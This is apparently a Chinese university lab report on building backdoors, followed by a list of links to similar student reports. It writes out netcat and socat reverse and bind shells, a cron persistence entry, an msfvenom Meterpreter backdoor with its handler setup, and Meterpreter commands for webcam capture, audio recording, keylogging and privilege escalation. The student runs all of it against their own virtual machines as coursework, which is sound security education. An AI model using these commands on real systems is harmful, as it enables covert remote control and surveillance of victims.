20155334 曹翔 Exp2 后门原理与实践
20155334 曹翔 Exp2 后门原理与实践
不多废话直接上实验过程,本实验的所有端口都是5334。
一、实验过程
查询主机Windows和虚拟机kali的ip地址:


- Windows获得Linux Shell
- 使用ncat.exe程序监听本机的5334端口:

- 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5334端口:

- Windows下成功获得了一个Kali的shell,运行ls指令如下:

- 使用ncat.exe程序监听本机的5334端口:
- Linux获得Windows Shell
- 使用 nc 指令监听端口:

- 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的端口:

- Kali下可以看到Windows的命令提示,可以输入Windows命令:

- 使用 nc 指令监听端口:
- 使用nc传输数据
- Windows下监听端口:

- Kali下连接到Windows的端口:

- 建立连接之后,就可以传输数据了:


- Windows下监听端口:
- 使用ncat实现文件传输
- 如图所示,先在windows中打开监听,然后在linux系统中发送文件:


- 文件保存在
C:\Users\DELL\Desktop\ncat中:

- 如图所示,先在windows中打开监听,然后在linux系统中发送文件:
- 使用netcat获取主机操作Shell,cron启动
- 先在Windows系统下监听端口:

- 在Kali环境下用
crontab -e编辑定时任务,选择编辑器也只会用vim了呀:

- 在最后一行添加
N * * * * /bin/netcat 172.168.3.2 5334 -e /bin/sh,意思是在每个小时的第N分钟反向连接Windows主机的端口,就会启动cron。此处的我取N=48:

- 当时间到指定分钟,就已经获得了Kali的shell:

- 先在Windows系统下监听端口:
- 使用socat获取主机操作Shell, 任务计划启动(此处本人主机Win8.1系统出现问题,打开任务计划程序的时候显示
找不到远程电脑经过查询相关资料发现要将网络设置重置,为了防止出现以后上不了网的意外,就选择了新装win7的虚拟机,继续实验)- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:


下载安装socat软件,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数(可选)一栏填写
tcp-listen:5334 exec:cmd.exe,pty,stderr,作用是把cmd.exe绑定到端口5334,同时把cmd.exe的stderr重定向到stdout上:

创建完成之后,可以发现之前创建的任务已经开始运行:

此时,在Kali环境下输入指令
socat - tcp:172.168.3.2:5334,此时可以发现已经成功获得了一个cmd shell:
##### 很遗憾,截图没有 (:з」∠),我也很难过T_T
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
重头戏来了:
- 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=5334 -f exe > 5334_backdoor.exe生成后门程序5334_backdoor.exe:

- 通过nc指令将生成的后门程序传送到Windows主机上:

- 在Kali上使用
msfconsole指令进入msf控制台,MSF打开监听进程设置payload,设置反弹回连的IP和端口:
命令 作用 use exploit/multi/handler 进入handler模式 set payload windows/meterpreter/reverse_tcp 设置payload show options 查看当前信息状态 set LHOST 设置LHOST set LPORT 设置LPORT exploit MSF开始监听 
- 设置完成后,执行监听:
- 打开Windows上的后门程序:
- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

- 输入指令
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
| 命令 | 作用 |
|---|---|
| record_mic | 截获一段音频 |
| webcam_snap | 使用摄像头进行拍照 |
| webcam stream | 使用摄像头进行录像 |
| screenshot | 截屏 |
| keyscan_start | 开始记录下击键的过程 |
| keyscan_dump | 读取击键的记录 |
| getuid | 查看当前用户 |
| getsystem | 进行提权 |

想看使用摄像头拍的照片么?就不给你看,怕吓坏你······好吧,其实是我用的Win7虚拟机并没有使用电脑主机摄像头的驱动,所以就没有啦啦啦啦,
不过特别想看的话,诺,给你咯

不要怀疑,这就是我,嗯。
摄像头获取


二、实验中遇到的问题及解决
问题1:打开任务计划程序的时候显示找不到远程电脑
解决办法:应急办法选择了新装win7的虚拟机,后续解决办法将网络设置重置即可。
问题2:提权失败
解决办法:使用管理员权限运行windows里的,从kali传过去的后台程序5334_backdoor.exe。

三、问题回答:
例举你能想到的一个后门进入到你系统中的可能方式?
答:最常见的就是通过软件安装包的捆绑,此外还有以前学习信息安全技术基础时学到的将后台程序和文件一起制成压缩包,在解压的时候安装植入。例举你知道的后门如何启动起来(win及linux)的方式?
答:windows:启动任务计划程序、开机自启动、捆绑运行(这些360都能解决哎)linux:通过在cron中添加任务(目前就知道这一个,噗)。Meterpreter有哪些给你映像深刻的功能?
答:当然是获取摄像头啦,还有获取麦克风,这俩结合起来简直·····嗯······,喂喂,想啥呢??我说的可以当监控使用。如何发现自己有系统有没有被安装后门?
答:当然是360大法好啦,当然也不能总是依靠这些软件,还有别的方法,比如······腾讯电脑管家??
四、实验总结与体会
总的来说,这次实验带给我太多的感触和震撼,不得不说,这些后门软件的威力不容小觑,即使是最简单的,最低级的后门软件,都能实现这些看起很难实现,却的的确确发生的功能。很难想象在安全软件没有普及的时候,人们上网的风险有多高。这次实验让我更加的感谢360,要不是它首先免费·····额,应该是感谢老师,要不是您,我还不能够深刻的了解到这些后门程序的危害,我是认真的。
20155334 曹翔 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
随机推荐
- Python学习笔记之—— File(文件) 对象常用函数
file 对象使用 open 函数来创建,下表列出了 file 对象常用的函数: 1.file.close() close() 方法用于关闭一个已打开的文件.关闭后的文件不能再进行读写操作, 否则会触 ...
- Postman Google浏览器离线安装Postman插件
Google浏览器离线安装Postman插件 by:授客 QQ:1033553122 解决无法通打开谷歌web商店安装Postman插件的问题,文章参考网络. 测试环境:ChromeStandalon ...
- ethernaut 以太坊靶场学习 (1-12)
前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...
- ionic开发之Android的focus起作用,而iOS不起作用
基于ionic的iOS的hybird APP无法使用focus获取焦点和键盘的问题. 解决办法就是: 原本APP的配置文件config.xml里面默认有一句 这句话的大概意思就是键盘的显示需要用户去触 ...
- Android IOC注解库EasyUI
EasyUI介绍 1.使用反射机制和注解实现类似于butterknife的IOC框架 2.快速的findViewById和OnClick 3.扩展了click时无网络监测 4.扩展了快速点击监测 使用 ...
- ADB三个进阶使用
adb通过Wi-Fi连接手机 背景知识 Android系统底层运行着一个服务(adbd),也就是在手机系统内部,用于响应.管理大家在电脑端的adb命令连接,这个服务在启动时候会根据手机的配置监听USB ...
- Oracle EBS AR 冲销收款
DECLARE L_CR_ID NUMBER; L_ATTRIBUTE_REC AR_RECEIPT_API_PUB.ATTRIBUTE_REC_TYPE; L_GLOBAL_ATT_REC AR_R ...
- 转:SqlServer索引及优化详解
(一)深入浅出理解索引结构 实际上,您可以把索引理解为一种特殊的目录.微软的SQL SERVER提供了两种索引:聚集索引(clustered index,也称聚类索引.簇集索引)和非聚集索引(nonc ...
- libcurl.dll 7.60.0静态库包含openssl/zlib
最近做个QT的小程序需要使用LIBCURL支持HTTPS,结果查资料发现官方默认的是不支持的,需要手动重新编译,编译的时候加入SSL支持. 看着就好麻烦的样子, 找了一圈,还真有现成的,但是现在写程序 ...
- jquery ajax 设置请求头header 参数
$.ajax( { url:'http://127.0.0.1:30080/api-a/quasiCustom/selectCustomList', type:'post', dateType:'js ...